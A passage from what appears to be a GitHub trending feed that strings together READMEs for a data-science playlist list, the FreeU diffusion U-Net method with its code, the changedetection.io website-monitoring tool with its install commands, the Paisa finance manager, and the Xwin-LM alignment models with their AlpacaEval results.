href="https://www.youtube.com/watch?v=7uwa9aPbBRU&amp;list=PLTDARY42LDV7WGmlzZtY-w9pemyPrKNUZ">https://www.youtube.com/watch?v=7uwa9aPbBRU&amp;list=PLTDARY42LDV7WGmlzZtY-w9pemyPrKNUZ</a></li> </ul> <h2>7. Complete Deep Learning And NLP Playlist:</h2> <ul> <li>Complete Deep Learning And NLP Detailed Playlist In English: <a href="https://www.youtube.com/watch?v=YFNKnUhm_-s&amp;list=PLZoTAELRMXVPGU70ZGsckrMdr0FteeRUi">https://www.youtube.com/watch?v=YFNKnUhm_-s&amp;list=PLZoTAELRMXVPGU70ZGsckrMdr0FteeRUi</a></li> <li>Complete NLP Live Playlist English: <a href="https://www.youtube.com/watch?v=w3coRFpyddQ&amp;list=PLZoTAELRMXVNNrHSKv36Lr3_156yCo6Nn">https://www.youtube.com/watch?v=w3coRFpyddQ&amp;list=PLZoTAELRMXVNNrHSKv36Lr3_156yCo6Nn</a></li> <li>Complete Deep Learning And NLP Playlist Hindi: <strong>Coming soon</strong></li> </ul> <h2>8. Important Frameworks for Production Deployments</h2> <ul> <li>Flask Detailed Playlist In English: <a href="https://www.youtube.com/watch?v=4L_xAWDRs7w&amp;list=PLZoTAELRMXVPBaLN3e-uoVRR9hlRFRfUc">https://www.youtube.com/watch?v=4L_xAWDRs7w&amp;list=PLZoTAELRMXVPBaLN3e-uoVRR9hlRFRfUc</a></li> <li>Flask One Shot Hindi: <a href="https://www.youtube.com/watch?v=KF-rDqQfqz0">https://www.youtube.com/watch?v=KF-rDqQfqz0</a></li> <li>Gradio Framework: <a href="https://www.youtube.com/watch?v=wruyZWre2sM">https://www.youtube.com/watch?v=wruyZWre2sM</a></li> <li>BentoML: <a href="https://www.youtube.com/watch?v=i_FtfdOKa2M">https://www.youtube.com/watch?v=i_FtfdOKa2M</a></li> <li>MLFLOw and Dagshub: <a href="https://www.youtube.com/watch?v=qdcHHrsXA48">https://www.youtube.com/watch?v=qdcHHrsXA48</a></li> </ul> <h2>9. Complete AWS Sagemaker And Sagemaker Studio Tools</h2> <ul> <li>Sagemaker Detailed Playlist: <a href="https://www.youtube.com/watch?v=LkR3GNDB0HI&amp;list=PLZoTAELRMXVONh5mHrXowH6-dgyWoC_Ew">https://www.youtube.com/watch?v=LkR3GNDB0HI&amp;list=PLZoTAELRMXVONh5mHrXowH6-dgyWoC_Ew</a></li> <li>Sagemaker End to End Projects- <strong>Coming Soon</strong></li> </ul> <h2>10. Complete MLOPS tutorials</h2> <ul> <li>Complete Dockers In One Shot English: <a href="https://www.youtube.com/watch?v=8vmKtS8W7IQ">https://www.youtube.com/watch?v=8vmKtS8W7IQ</a></li> <li>MLFLOW End to End Tutorials With Deployment: <a href="https://www.youtube.com/watch?v=pxk1Fr33-L4">https://www.youtube.com/watch?v=pxk1Fr33-L4</a></li> <li>Evidently AI Model Monitoring: <a href="https://www.youtube.com/watch?v=cgc3dSEAel0">https://www.youtube.com/watch?v=cgc3dSEAel0</a></li> <li>Complete Docker In One Shot Hindi: <strong>Coming soon</strong></li> <li>Complete Github Action In English: <strong>Coming soon</strong></li> <li>Complete Kubernetes And Kubeflow Tutorials: <strong>Coming Soon</strong></li> </ul> <h2>11. End To End ML,DL and NLP Projects- Entire Lifecycle Till Deployment Using Open Source Tools</h2> <ul> <li>End To End ML Projects Playlist In English: <a href="https://www.youtube.com/watch?v=S_F_c9e2bz4&amp;list=PLZoTAELRMXVPS-dOaVbAux22vzqdgoGhG&amp;index=1">https://www.youtube.com/watch?v=S_F_c9e2bz4&amp;list=PLZoTAELRMXVPS-dOaVbAux22vzqdgoGhG&amp;index=1</a></li> <li>End To End ML Playlist In Hindi: <a href="https://www.youtube.com/watch?v=NuwUnRpxq2c&amp;list=PLTDARY42LDV7jzL_f68SY-eOQ9tY2lYvR">https://www.youtube.com/watch?v=NuwUnRpxq2c&amp;list=PLTDARY42LDV7jzL_f68SY-eOQ9tY2lYvR</a></li> </ul> <h2>12. Generative AI And Open AI Playlist:</h2> <ul> <li>OPENAI Playlist English(In Progress): <a href="https://www.youtube.com/watch?v=CbpsDMwFG2g&amp;list=PLZoTAELRMXVMTWGW9iS45ZTcMsntos6VO">https://www.youtube.com/watch?v=CbpsDMwFG2g&amp;list=PLZoTAELRMXVMTWGW9iS45ZTcMsntos6VO</a></li> <li>Langchain Playlist(In Progress): <a href="https://www.youtube.com/watch?v=_FpT1cwcSLg&amp;list=PLZoTAELRMXVORE4VF7WQ_fAl0L1Gljtar">https://www.youtube.com/watch?v=_FpT1cwcSLg&amp;list=PLZoTAELRMXVORE4VF7WQ_fAl0L1Gljtar</a></li> <li>ChainLit Playlist <strong>(In Progress)</strong></li> </ul> <h2>13. Pyspark Complete Tutorials</h2> <ul> <li>Pyspark Detailed Playlist: <a href="https://www.youtube.com/watch?v=WyZmM6K7ubc&amp;list=PLZoTAELRMXVNjiiawhzZ0afHcPvC8jpcg">https://www.youtube.com/watch?v=WyZmM6K7ubc&amp;list=PLZoTAELRMXVNjiiawhzZ0afHcPvC8jpcg</a></li> </ul> <h2>14. Complete Data Science,Machine Learning And Deep Learning Interview Questions</h2> <p><a href="https://github.com/iNeuronai/interview-question-data-science-">https://github.com/iNeuronai/interview-question-data-science-</a></p> <h2>Internships</h2> <p><a href="https://internship.ineuron.ai/">https://internship.ineuron.ai/</a></p> <h2>Data Science TrackerSheet For Learning</h2> <p><a href="https://drive.google.com/file/d/18doA_wMja2nAawcE6imIcfnEMf-Pir2n/view">https://drive.google.com/file/d/18doA_wMja2nAawcE6imIcfnEMf-Pir2n/view</a></p> <h2>Youtube Channels For Referring All Videos. Consider Subscribing and pressing the bell icon.</h2> <ul> <li>Krish Naik : <a href="https://www.youtube.com/@krishnaik06">https://www.youtube.com/@krishnaik06</a></li> <li>Krish Naik Hindi: <a href="https://www.youtube.com/@krishnaikhindi">https://www.youtube.com/@krishnaikhindi</a></li> <li>Success Stories By Krish(Coming up): <a href="https://www.youtube.com/channel/UCNSHtBgZ3dhcpv190JrK_LQ">https://www.youtube.com/channel/UCNSHtBgZ3dhcpv190JrK_LQ</a></li> <li>Support Channel and Join this channel to get access to perks: <a href="https://www.youtube.com/channel/UCNU_lfiiWBdtULKOw6X0Dig/join">https://www.youtube.com/channel/UCNU_lfiiWBdtULKOw6X0Dig/join</a></li> </ul> + ChenyangSi/FreeU + 2023-09-25T01:23:55Z + tag:github.com,2023-09-25:/ChenyangSi/FreeU + + <p>FreeU: Free Lunch in Diffusion U-Net</p><hr><div align="center"> <h1>FreeU: Free Lunch in Diffusion U-Net</h1> <div> <a href="https://chenyangsi.github.io/" target="_blank">Chenyang Si</a> <sup></sup>, <a href="https://ziqihuangg.github.io/" target="_blank">Ziqi Huang</a> <sup></sup>, <a href="https://yumingj.github.io/" target="_blank">Yuming Jiang</a> <sup></sup>, <a href="https://liuziwei7.github.io/" target="_blank">Ziwei Liu</a> <sup></sup> </div> <div> <sup></sup>S-Lab, Nanyang Technological University </div> <p><a href="https://arxiv.org/pdf/2309.11497.pdf">Paper</a> | <a href="https://chenyangsi.top/FreeU/">Project Page</a> | <a href="https://www.youtube.com/watch?v=-CZ5uWxvX30&amp;t=2s">Video</a> <br></p> <p><strong>We propose FreeU, a method that substantially improves diffusion model sample quality at no costs: no training, no additional parameter introduced, and no increase in memory or sampling time.</strong></p> <div style="width: 100%; text-align: center; margin:auto;"> <img style="width:100%" src="https://raw.githubusercontent.com/ChenyangSi/FreeU/main/readme_teaser.jpg"> </div> <p><span>📖</span> For more visual results, go checkout our <a href="https://chenyangsi.top/FreeU/" target="_blank">project page</a></p> </div> <h2>FreeU Code</h2> <pre><code class="language-python">def Fourier_filter(x, threshold, scale): # FFT x_freq = fft.fftn(x, dim=(-2, -1)) x_freq = fft.fftshift(x_freq, dim=(-2, -1)) B, C, H, W = x_freq.shape mask = torch.ones((B, C, H, W)).cuda() crow, ccol = H // 2, W //2 mask[..., crow - threshold:crow + threshold, ccol - threshold:ccol + threshold] = scale x_freq = x_freq * mask # IFFT x_freq = fft.ifftshift(x_freq, dim=(-2, -1)) x_filtered = fft.ifftn(x_freq, dim=(-2, -1)).real return x_filtered class Free_UNetModel(UNetModel): """ :param b1: backbone factor of the first stage block of decoder. :param b2: backbone factor of the second stage block of decoder. :param s1: skip factor of the first stage block of decoder. :param s2: skip factor of the second stage block of decoder. """ def __init__( self, b1, b2, s1, s2, *args, **kwargs ): super().__init__(*args, **kwargs) self.b1 = b1 self.b2 = b2 self.s1 = s1 self.s2 = s2 def forward(self, x, timesteps=None, context=None, y=None, **kwargs): """ Apply the model to an input batch. :param x: an [N x C x ...] Tensor of inputs. :param timesteps: a 1-D batch of timesteps. :param context: conditioning plugged in via crossattn :param y: an [N] Tensor of labels, if class-conditional. :return: an [N x C x ...] Tensor of outputs. """ assert (y is not None) == ( self.num_classes is not None ), "must specify y if and only if the model is class-conditional" hs = [] t_emb = timestep_embedding(timesteps, self.model_channels, repeat_only=False) emb = self.time_embed(t_emb) if self.num_classes is not None: assert y.shape[0] == x.shape[0] emb = emb + self.label_emb(y) h = x.type(self.dtype) for module in self.input_blocks: h = module(h, emb, context) hs.append(h) h = self.middle_block(h, emb, context) for module in self.output_blocks: hs_ = hs.pop() # --------------- FreeU code ----------------------- # Only operate on the first two stages if h.shape[1] == 1280: h[:,:640] = h[:,:640] * self.b1 hs_ = Fourier_filter(hs_, threshold=1, scale=self.s1) if h.shape[1] == 640: h[:,:320] = h[:,:320] * self.b2 hs_ = Fourier_filter(hs_, threshold=1, scale=self.s2) # --------------------------------------------------------- h = th.cat([h, hs_], dim=1) h = module(h, emb, context) h = h.type(x.dtype) if self.predict_codebook_ids: return self.id_predictor(h) else: return self.out(h) </code></pre> <h2>Parameters</h2> <p>Feel free to adjust these parameters based on your models, image/video style, or tasks. The following parameters are for reference only.</p> <h3>SD1.4:</h3> <p><strong>b1</strong>: 1.2, <strong>b2</strong>: 1.4, <strong>s1</strong>: 0.9, <strong>s2</strong>: 0.2</p> <h3>SD2.1</h3> <p><strong>b1</strong>: 1.1, <strong>b2</strong>: 1.2, <strong>s1</strong>: 0.9, <strong>s2</strong>: 0.2</p> <h3>Range for More Parameters</h3> <p>When trying additional parameters, consider the following ranges:</p> <ul> <li><strong>b1</strong>: 1 ≤ b1 ≤ 1.2</li> <li><strong>b2</strong>: 1.2 ≤ b2 ≤ 1.6</li> <li><strong>s1</strong>: s1 ≤ 1</li> <li><strong>s2</strong>: s2 ≤ 1</li> </ul> <p>If you find FreeU useful for your work please cite:</p> <pre><code>@article{Si2023FreeU, author = {Chenyang Si, Ziqi Huang, Yuming Jiang, Ziwei Liu}, title = {FreeU: Free Lunch in Diffusion U-Net}, journal = {arXiv}, year = {2023}, } </code></pre> <h2><span>🗞</span> License</h2> <p>Distributed under the MIT License. See <code>LICENSE</code> for more information.</p> - dgtlmoon/changedetection.io - 2023-09-24T01:25:56Z - tag:github.com,2023-09-24:/dgtlmoon/changedetection.io - - <p>The best and simplest free open source website change detection, restock monitor and notification service. Restock Monitor, change detection. Designed for simplicity - Simply monitor which websites had a text change for free. Free Open source web page change detection, Website defacement monitoring, Price change and Price Drop notification</p><hr><h2>Web Site Change Detection, Restock monitoring and notifications.</h2> <p><strong><em>Detect website content changes and perform meaningful actions - trigger notifications via Discord, Email, Slack, Telegram, API calls and many more.</em></strong></p> <p><em>Live your data-life pro-actively.</em></p> <p><a href="https://changedetection.io?src=github"><img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/screenshot.png" style="max-width:100%;" alt="Self-hosted web page change monitoring" title="Self-hosted web page change monitoring"></a></p> <p><a href="https://github.com/dgtlmoon/changedetection.io/releases"><img src="https://img.shields.io:/github/v/release/dgtlmoon/changedetection.io?style=for-the-badge" alt="Release Version"></a> <a href="https://hub.docker.com/r/dgtlmoon/changedetection.io"><img src="https://img.shields.io/docker/pulls/dgtlmoon/changedetection.io?style=for-the-badge" alt="Docker Pulls"></a> <a href="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/LICENSE.md"><img src="https://img.shields.io/github/license/dgtlmoon/changedetection.io.svg?style=for-the-badge" alt="License"></a></p> <p><img src="https://github.com/dgtlmoon/changedetection.io/actions/workflows/test-only.yml/badge.svg?branch=master" alt="changedetection.io"></p> <p><a href="https://changedetection.io"><strong>Don't have time? Let us host it for you! try our $8.99/month subscription - use our proxies and support!</strong></a> , <em>half the price of other website change monitoring services!</em></p> <ul> <li>Chrome browser included.</li> <li>Super fast, no registration needed setup.</li> <li>Get started watching and receiving website change notifications straight away.</li> </ul> <h3>Target specific parts of the webpage using the Visual Selector tool.</h3> <p>Available when connected to a <a href="https://github.com/dgtlmoon/changedetection.io/wiki/Playwright-content-fetcher">playwright content fetcher</a> (included as part of our subscription service)</p> <p><a href="https://changedetection.io?src=github"><img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/visualselector-anim.gif" style="max-width:100%;" alt="Self-hosted web page change monitoring context difference " title="Self-hosted web page change monitoring context difference "></a></p> <h3>Easily see what changed, examine by word, line, or individual character.</h3> <p><a href="https://changedetection.io?src=github"><img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/screenshot-diff.png" style="max-width:100%;" alt="Self-hosted web page change monitoring context difference " title="Self-hosted web page change monitoring context difference "></a></p> <h3>Perform interactive browser steps</h3> <p>Fill in text boxes, click buttons and more, setup your changedetection scenario.</p> <p>Using the <strong>Browser Steps</strong> configuration, add basic steps before performing change detection, such as logging into websites, adding a product to a cart, accept cookie logins, entering dates and refining searches.</p> <p><a href="https://changedetection.io?src=github"><img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/browsersteps-anim.gif" style="max-width:100%;" alt="Self-hosted web page change monitoring context difference " title="Website change detection with interactive browser steps, login, cookies etc"></a></p> <p>After <strong>Browser Steps</strong> have been run, then visit the <strong>Visual Selector</strong> tab to refine the content you're interested in. Requires Playwright to be enabled.</p> <h3>Example use cases</h3> <ul> <li>Products and services have a change in pricing</li> <li><em>Out of stock notification</em> and <em>Back In stock notification</em></li> <li>Monitor and track PDF file changes, know when a PDF file has text changes.</li> <li>Governmental department updates (changes are often only on their websites)</li> <li>New software releases, security advisories when you're not on their mailing list.</li> <li>Festivals with changes</li> <li>Discogs restock alerts and monitoring</li> <li>Realestate listing changes</li> <li>Know when your favourite whiskey is on sale, or other special deals are announced before anyone else</li> <li>COVID related news from government websites</li> <li>University/organisation news from their website</li> <li>Detect and monitor changes in JSON API responses</li> <li>JSON API monitoring and alerting</li> <li>Changes in legal and other documents</li> <li>Trigger API calls via notifications when text appears on a website</li> <li>Glue together APIs using the JSON filter and JSON notifications</li> <li>Create RSS feeds based on changes in web content</li> <li>Monitor HTML source code for unexpected changes, strengthen your PCI compliance</li> <li>You have a very sensitive list of URLs to watch and you do <em>not</em> want to use the paid alternatives. (Remember, <em>you</em> are the product)</li> <li>Get notified when certain keywords appear in Twitter search results</li> <li>Proactively search for jobs, get notified when companies update their careers page, search job portals for keywords.</li> <li>Get alerts when new job positions are open on Bamboo HR and other job platforms</li> <li>Website defacement monitoring</li> <li>Pokémon Card Restock Tracker / Pokémon TCG Tracker</li> <li>RegTech - stay ahead of regulatory changes, regulatory compliance</li> </ul> <p><em>Need an actual Chrome runner with Javascript support? We support fetching via WebDriver and Playwright!</em></p> <h4>Key Features</h4> <ul> <li>Lots of trigger filters, such as "Trigger on text", "Remove text by selector", "Ignore text", "Extract text", also using regular-expressions!</li> <li>Target elements with xPath(1.0) and CSS Selectors, Easily monitor complex JSON with JSONPath or jq</li> <li>Switch between fast non-JS and Chrome JS based "fetchers"</li> <li>Track changes in PDF files (Monitor text changed in the PDF, Also monitor PDF filesize and checksums)</li> <li>Easily specify how often a site should be checked</li> <li>Execute JS before extracting text (Good for logging in, see examples in the UI!)</li> <li>Override Request Headers, Specify <code>POST</code> or <code>GET</code> and other methods</li> <li>Use the "Visual Selector" to help target specific elements</li> <li>Configurable <a href="https://github.com/dgtlmoon/changedetection.io/wiki/Proxy-configuration">proxy per watch</a></li> <li>Send a screenshot with the notification when a change is detected in the web page</li> </ul> <p>We <a href="https://brightdata.grsm.io/n0r16zf7eivq">recommend and use Bright Data</a> global proxy services, Bright Data will match any first deposit up to $100 using our signup link.</p> <p><a href="https://oxylabs.go2cloud.org/SH2d">Oxylabs</a> is also an excellent proxy provider and well worth using, they offer Residental, ISP, Rotating and many other proxy types to suit your project.</p> <p>Please <span>⭐</span> star <span>⭐</span> this project and help it grow! <a href="https://github.com/dgtlmoon/changedetection.io/">https://github.com/dgtlmoon/changedetection.io/</a></p> <h2>Installation</h2> <h3>Docker</h3> <p>With Docker composer, just clone this repository and..</p> <pre><code class="language-bash">$ docker-compose up -d </code></pre> <p>Docker standalone</p> <pre><code class="language-bash">$ docker run -d --restart always -p "127.0.0.1:5000:5000" -v datastore-volume:/datastore --name changedetection.io dgtlmoon/changedetection.io </code></pre> <p><code>:latest</code> tag is our latest stable release, <code>:dev</code> tag is our bleeding edge <code>master</code> branch.</p> <p>Alternative docker repository over at ghcr - <a href="https://ghcr.io/dgtlmoon/changedetection.io">ghcr.io/dgtlmoon/changedetection.io</a></p> <h3>Windows</h3> <p>See the install instructions at the wiki <a href="https://github.com/dgtlmoon/changedetection.io/wiki/Microsoft-Windows">https://github.com/dgtlmoon/changedetection.io/wiki/Microsoft-Windows</a></p> <h3>Python Pip</h3> <p>Check out our pypi page <a href="https://pypi.org/project/changedetection.io/">https://pypi.org/project/changedetection.io/</a></p> <pre><code class="language-bash">$ pip3 install changedetection.io $ changedetection.io -d /path/to/empty/data/dir -p 5000 </code></pre> <p>Then visit <a href="http://127.0.0.1:5000">http://127.0.0.1:5000</a> , You should now be able to access the UI.</p> <p><em>Now with per-site configurable support for using a fast built in HTTP fetcher or use a Chrome based fetcher for monitoring of JavaScript websites!</em></p> <h2>Updating changedetection.io</h2> <h3>Docker</h3> <pre><code>docker pull dgtlmoon/changedetection.io docker kill $(docker ps -a -f name=changedetection.io -q) docker rm $(docker ps -a -f name=changedetection.io -q) docker run -d --restart always -p "127.0.0.1:5000:5000" -v datastore-volume:/datastore --name changedetection.io dgtlmoon/changedetection.io </code></pre> <h3>docker-compose</h3> <pre><code class="language-bash">docker-compose pull &amp;&amp; docker-compose up -d </code></pre> <p>See the wiki for more information <a href="https://github.com/dgtlmoon/changedetection.io/wiki">https://github.com/dgtlmoon/changedetection.io/wiki</a></p> <h2>Filters</h2> <p>XPath(1.0), JSONPath, jq, and CSS support comes baked in! You can be as specific as you need, use XPath exported from various XPath element query creation tools. (We support LXML <code>re:test</code>, <code>re:match</code> and <code>re:replace</code>.)</p> <h2>Notifications</h2> <p>ChangeDetection.io supports a massive amount of notifications (including email, office365, custom APIs, etc) when a web-page has a change detected thanks to the <a href="https://github.com/caronc/apprise">apprise</a> library. Simply set one or more notification URL's in the <em>[edit]</em> tab of that watch.</p> <p>Just some examples</p> <pre><code>discord://webhook_id/webhook_token flock://app_token/g:channel_id gitter://token/room gchat://workspace/key/token msteams://TokenA/TokenB/TokenC/ o365://TenantID:AccountEmail/ClientID/ClientSecret/TargetEmail rocket://user:password@hostname/#Channel mailto://user:pass@example.com?to=receivingAddress@example.com json://someserver.com/custom-api syslog:// </code></pre> <p><a href="https://github.com/caronc/apprise#popular-notification-services">And everything else in this list!</a></p> <img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/screenshot-notifications.png" style="max-width:100%;" alt="Self-hosted web page change monitoring notifications" title="Self-hosted web page change monitoring notifications"> <p>Now you can also customise your notification content and use <a target="_new" href="https://jinja.palletsprojects.com/en/3.0.x/templates/">Jinja2 templating</a> for their title and body!</p> <h2>JSON API Monitoring</h2> <p>Detect changes and monitor data in JSON API's by using either JSONPath or jq to filter, parse, and restructure JSON as needed.</p> <p><img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/json-filter-field-example.png" alt="image"></p> <p>This will re-parse the JSON and apply formatting to the text, making it super easy to monitor and detect changes in JSON API results</p> <p><img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/json-diff-example.png" alt="image"></p> <h3>JSONPath or jq?</h3> <p>For more complex parsing, filtering, and modifying of JSON data, jq is recommended due to the built-in operators and functions. Refer to the <a href="https://stedolan.github.io/jq/manual/">documentation</a> for more specific information on jq.</p> <p>One big advantage of <code>jq</code> is that you can use logic in your JSON filter, such as filters to only show items that have a value greater than/less than etc.</p> <p>See the wiki <a href="https://github.com/dgtlmoon/changedetection.io/wiki/JSON-Selector-Filter-help">https://github.com/dgtlmoon/changedetection.io/wiki/JSON-Selector-Filter-help</a> for more information and examples</p> <h3>Parse JSON embedded in HTML!</h3> <p>When you enable a <code>json:</code> or <code>jq:</code> filter, you can even automatically extract and parse embedded JSON inside a HTML page! Amazingly handy for sites that build content based on JSON, such as many e-commerce websites.</p> <pre><code>&lt;html&gt; ... &lt;script type="application/ld+json"&gt; { "@context":"http://schema.org/", "@type":"Product", "offers":{ "@type":"Offer", "availability":"http://schema.org/InStock", "price":"3949.99", "priceCurrency":"USD", "url":"https://www.newegg.com/p/3D5-000D-001T1" }, "description":"Cobratype King Cobra Hero Desktop Gaming PC", "name":"Cobratype King Cobra Hero Desktop Gaming PC", "sku":"3D5-000D-001T1", "itemCondition":"NewCondition" } &lt;/script&gt; </code></pre> <p><code>json:$..price</code> or <code>jq:..price</code> would give <code>3949.99</code>, or you can extract the whole structure (use a JSONpath test website to validate with)</p> <p>The application also supports notifying you that it can follow this information automatically</p> <h2>Proxy Configuration</h2> <p>See the wiki <a href="https://github.com/dgtlmoon/changedetection.io/wiki/Proxy-configuration">https://github.com/dgtlmoon/changedetection.io/wiki/Proxy-configuration</a> , we also support using <a href="https://github.com/dgtlmoon/changedetection.io/wiki/Proxy-configuration#brightdata-proxy-support">Bright Data proxy services where possible</a></p> <h2>Raspberry Pi support?</h2> <p>Raspberry Pi and linux/arm/v6 linux/arm/v7 arm64 devices are supported! See the wiki for <a href="https://github.com/dgtlmoon/changedetection.io/wiki/Fetching-pages-with-WebDriver">details</a></p> <h2>API Support</h2> <p>Supports managing the website watch list <a href="https://changedetection.io/docs/api_v1/index.html">via our API</a></p> <h2>Support us</h2> <p>Do you use changedetection.io to make money? does it save you time or money? Does it make your life easier? less stressful? Remember, we write this software when we should be doing actual paid work, we have to buy food and pay rent just like you.</p> <p>Firstly, consider taking out a <a href="https://changedetection.io?src=github">change detection monthly subscription - unlimited checks and watches</a> , even if you don't use it, you still get the warm fuzzy feeling of helping out the project. (And who knows, you might just use it!)</p> <p>Or directly donate an amount PayPal <a href="https://www.paypal.com/donate/?hosted_button_id=7CP6HR9ZCNDYJ"><img src="https://img.shields.io/badge/Donate-PayPal-green.svg?sanitize=true" alt="Donate"></a></p> <p>Or BTC <code>1PLFN327GyUarpJd7nVe7Reqg9qHx5frNn</code></p> <img src="https://raw.githubusercontent.com/dgtlmoon/changedetection.io/master/docs/btc-support.png" style="max-width:50%;" alt="Support us!"> <h2>Commercial Support</h2> <p>I offer commercial support, this software is depended on by network security, aerospace , data-science and data-journalist professionals just to name a few, please reach out at <a href="mailto:dgtlmoon@gmail.com">dgtlmoon@gmail.com</a> for any enquiries, I am more than glad to work with your organisation to further the possibilities of what can be done with changedetection.io</p> + ananthakumaran/paisa + 2023-09-25T01:23:55Z + tag:github.com,2023-09-25:/ananthakumaran/paisa + + <p>Paisa – Personal Finance Manager. demo: https://demo.paisa.fyi</p><hr><h1>Paisa</h1> <p><a href="https://matrix.to/#/#paisa:matrix.org"><img src="https://img.shields.io/matrix/paisa%3Amatrix.org?logo=matrix" alt="Matrix"></a></p> <p><strong>Paisa</strong> is a Personal finance manager. It builds on top of the <a href="https://www.ledger-cli.org/">ledger</a> double entry accounting tool. Checkout <a href="https://paisa.fyi">documentation</a> to get started.</p> <h1>Demo</h1> <p>A demo of the Web UI can be found at <a href="https://demo.paisa.fyi">https://demo.paisa.fyi</a></p> <h2>Status</h2> <p>I use it to track my personal finance. It's more like alpha product now, usable, but I might update things based on the feedback I receive. Feel free to open an issue if you found a bug or start a discussion if you have a feature request. If you have any question, you can ask on <a href="https://matrix.to/#/#paisa:matrix.org">Matrix chat</a>.</p> <h2>License</h2> <p>This software is licensed under <a href="https://raw.githubusercontent.com/ananthakumaran/paisa/master/COPYING">the AGPL 3 or later license</a>.</p> <h2>Contribution Policy</h2> <p>Paisa is open source, but I do not plan to accept any pull request for now. If you have a feature request, start a <a href="https://github.com/ananthakumaran/paisa/discussions">discussion</a>, or if you found a bug, create a new <a href="https://github.com/ananthakumaran/paisa/issues">issue</a>. Since this a UI project, I would prefer to have full control over how things are done. I might relax this restriction later.</p> - Xwin-LM/Xwin-LM - 2023-09-24T01:25:56Z - tag:github.com,2023-09-24:/Xwin-LM/Xwin-LM - - <p>Xwin-LM: Powerful, Stable, and Reproducible LLM Alignment</p><hr><div align="center"> <img src="https://raw.githubusercontent.com/Xwin-LM/Xwin-LM/main/assets/_logo.png" style="width: 70%"> </div> <h3 align="center"> Powerful, Stable, and Reproducible LLM Alignment </h3> <p align="center"> <a href="https://huggingface.co/Xwin-LM"> <img src="https://img.shields.io/badge/%F0%9F%A4%97%20Hugging%20Face-Models-blue"> </a> </p> <p><strong>Step up your LLM alignment with Xwin-LM!</strong></p> <p>Xwin-LM aims to develop and open-source alignment technologies for large language models, including supervised fine-tuning (SFT), reward models (RM), reject sampling, reinforcement learning from human feedback (RLHF), etc. Our first release, built-upon on the Llama2 base models, ranked <strong>TOP-1</strong> on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a>. Notably, it's <strong>the first to surpass GPT-4</strong> on this benchmark. The project will be continuously updated.</p> <h2>News</h2> <ul> <li><span>💥</span> [Sep, 2023] We released <a href="https://huggingface.co/Xwin-LM/Xwin-LM-70B-V0.1">Xwin-LM-70B-V0.1</a>, which has achieved a win-rate against Davinci-003 of <strong>95.57%</strong> on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a> benchmark, ranking as <strong>TOP-1</strong> on AlpacaEval. <strong>It was the FIRST model surpassing GPT-4</strong> on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a>. Also note its winrate v.s. GPT-4 is <strong>60.61</strong>.</li> <li><span>🔍</span> [Sep, 2023] RLHF plays crucial role in the strong performance of Xwin-LM-V0.1 release!</li> <li><span>💥</span> [Sep, 2023] We released <a href="https://huggingface.co/Xwin-LM/Xwin-LM-13B-V0.1">Xwin-LM-13B-V0.1</a>, which has achieved <strong>91.76%</strong> win-rate on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a>, ranking as <strong>top-1</strong> among all 13B models.</li> <li><span>💥</span> [Sep, 2023] We released <a href="https://huggingface.co/Xwin-LM/Xwin-LM-7B-V0.1">Xwin-LM-7B-V0.1</a>, which has achieved <strong>87.82%</strong> win-rate on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a>, ranking as <strong>top-1</strong> among all 7B models.</li> </ul> <h2>Model Card</h2> <table> <thead> <tr> <th>Model</th> <th>Checkpoint</th> <th>Report</th> <th>License</th> </tr> </thead> <tbody> <tr> <td>Xwin-LM-7B-V0.1</td> <td>🤗 <a href="https://huggingface.co/Xwin-LM/Xwin-LM-7B-V0.1" target="_blank">HF Link</a></td> <td>📃<strong>Coming soon (Stay tuned)</strong></td> <td><a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/" target="_blank">Llama 2 License</a></td> </tr> <tr> <td>Xwin-LM-13B-V0.1</td> <td>🤗 <a href="https://huggingface.co/Xwin-LM/Xwin-LM-13B-V0.1" target="_blank">HF Link</a></td> <td></td> <td><a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/" target="_blank">Llama 2 License</a></td> </tr> <tr> <td>Xwin-LM-70B-V0.1</td> <td>🤗 <a href="https://huggingface.co/Xwin-LM/Xwin-LM-70B-V0.1" target="_blank">HF Link</a></td> <td></td> <td><a href="https://ai.meta.com/resources/models-and-libraries/llama-downloads/" target="_blank">Llama 2 License</a></td> </tr> </tbody> </table> <h2>Benchmarks</h2> <h3>Xwin-LM performance on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a>.</h3> <p>The table below displays the performance of Xwin-LM on <a href="https://tatsu-lab.github.io/alpaca_eval/">AlpacaEval</a>, where evaluates its win-rate against Text-Davinci-003 across 805 questions. To provide a comprehensive evaluation, we present, for the first time, the win-rate against ChatGPT and GPT-4 as well. Our Xwin-LM model family establish a new state-of-the-art performance across all metrics. Notably, Xwin-LM-70B-V0.1 has eclipsed GPT-4 for the first time, achieving an impressive win-rate of <strong>95.57%</strong> to Text-Davinci-003 and <strong>60.61%</strong> to GPT-4.</p> <table> <thead> <tr> <th><strong>Model</strong></th> <th><strong>AlpacaEval (winrate %)</strong></th> <th><strong>AlpacaEval (winrate %)</strong></th> <th><strong>AlpacaEval (winrate %)</strong></th> </tr> </thead> <tbody> <tr> <td></td> <td><strong>v.s. Text-Davinci-003</strong></td> <td><strong>v.s. ChatGPT</strong></td> <td><strong>v.s. GPT4</strong></td> </tr> <tr> <td><strong>Xwin-LM-70B-V0.1</strong></td> <td><strong>95.57</strong></td> <td><strong>87.50</strong></td> <td><strong>60.61</strong></td> </tr> <tr> <td>GPT-4</td> <td>95.28</td> <td>84.66</td> <td>50.00</td> </tr> <tr> <td>WizardLM-70B-V1.0</td> <td>92.91</td> <td>80.19</td> <td>46.70</td> </tr> <tr> <td>Llama-2-70B-Chat</td> <td>92.66</td> <td>81.97</td> <td>51.19</td> </tr> <tr> <td><strong>Xwin-LM-13B-V0.1</strong></td> <td><strong>91.76</strong></td> 